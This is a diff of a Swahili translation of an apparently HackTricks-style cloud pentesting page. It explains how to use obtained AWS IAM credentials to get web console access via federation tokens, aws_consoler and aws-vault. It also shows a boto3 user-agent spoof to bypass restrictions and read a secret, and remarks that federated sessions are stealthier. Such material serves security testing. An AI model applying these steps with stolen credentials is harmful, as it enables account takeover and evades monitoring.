-Kumbuka kwamba mtumiaji/role lazima iwe na ruhusa **`sts:GetFederationToken`**.
+Ikiwa umefanikiwa kupata baadhi ya IAM credentials, unaweza kuwa na nia ya **accessing the web console** kwa kutumia zana zifuatazo.\ Kumbuka kwamba user/role lazima iwe na ruhusa **`sts:GetFederationToken`**.
 
-#### Skripti ya Kawaida
+#### Skiripti maalum
 
-Skripti ifuatayo itatumia profaili ya kawaida na eneo la kawaida la AWS (sio gov na sio cn) kukupa URL iliyosainiwa ambayo unaweza kutumia kuingia ndani ya web console:
+Skiripti ifuatayo itatumia default profile na default AWS location (not gov and not cn) kukupa signed URL ambayo unaweza kutumia kuingia kwenye web console:
 ```bash
 # Get federated creds (you must indicate a policy or they won't have any perms)
 ## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges
@@ -55,7 +54,7 @@ echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.co
 ```
 #### aws_consoler
 
-Unaweza **kuunda kiungo cha console ya wavuti** na [https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler).
+Unaweza **kutengeneza kiungo cha console ya wavuti** kwa kutumia [https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler).
 ```bash
 cd /tmp
 python3 -m venv env
@@ -64,22 +63,22 @@ pip install aws-consoler
 aws_consoler [params...] #This will generate a link to login into the console
 ```
 > [!WARNING]
-> Hakikisha mtumiaji wa IAM ana ruhusa ya `sts:GetFederationToken`, au toa jukumu la kuchukua.
+> Hakikisha IAM user ana ruhusa ya `sts:GetFederationToken`, au mpe role ya kuchukua.
 
 #### aws-vault
 
-[**aws-vault**](https://github.com/99designs/aws-vault) ni chombo cha kuhifadhi na kufikia kwa usalama akidi za AWS katika mazingira ya maendeleo.
+[**aws-vault**](https://github.com/99designs/aws-vault) ni zana ya kuhifadhi kwa usalama na kupata AWS credentials katika mazingira ya maendeleo.
 ```bash
 aws-vault list
 aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds
 aws-vault login jonsmith # Open a browser logged as jonsmith
 ```
 > [!NOTE]
-> Unaweza pia kutumia **aws-vault** kupata **kipindi cha kikao cha kivinjari**
+> Unaweza pia kutumia **aws-vault** kupata **browser console session**
 
-### **Kupita vizuizi vya User-Agent kutoka Python**
+### **Bypass User-Agent restrictions from Python**
 
-Ikiwa kuna **kizuizi cha kufanya vitendo fulani kulingana na agent ya mtumiaji** inayotumika (kama vile kupunguza matumizi ya maktaba ya python boto3 kulingana na agent ya mtumiaji) inawezekana kutumia mbinu ya awali **kuungana na konsoli ya wavuti kupitia kivinjari**, au unaweza moja kwa moja **kubadilisha agent ya mtumiaji ya boto3** kwa kufanya:
+Ikiwa kuna **restriction to perform certain actions based on the user agent** inayotumika (kama kufungia matumizi ya python boto3 library kulingana na user agent) inawezekana kutumia mbinu iliyotajwa hapo juu ili **connect to the web console via a browser**, au unaweza moja kwa moja **modify the boto3 user-agent** kwa kufanya:
 ```bash
 # Shared by ex16x41
 # Create a client
@@ -92,4 +91,14 @@ client.meta.events.register( 'before-call.secretsmanager.GetSecretValue', lambda
 # Perform the action
 response = client.get_secret_value(SecretId="flag_secret") print(response['SecretString'])
 ```
-{{#include ../../../banners/hacktricks-training.md}}
+### **`sts:GetFederationToken`**
+
+Kwa ruhusa hii inawezekana kuunda federated identity kwa mtumiaji anayeitekeleza, iliyozuiliwa kwa ruhusa ambazo mtumiaji huyu anazo.
+```bash
+aws sts get-federation-token --name <username>
+```
+Token iliyorejeshwa na sts:GetFederationToken inamhusu federated identity ya mtumiaji aliyeitisha, lakini ina ruhusa zilizopunguzwa. Hata kama mtumiaji ana administrator rights, vitendo vingine kama listing IAM users au attaching policies haviwezi kufanywa kupitia federated token.
+
+Zaidi ya hayo, njia hii ni kwa kiasi fulani ya usiri zaidi, kwa kuwa federated user haionekani kwenye AWS Portal; inaweza kuonekana tu kupitia CloudTrail logs au monitoring tools.
+
+{{#include ../../../../banners/hacktricks-training.md}}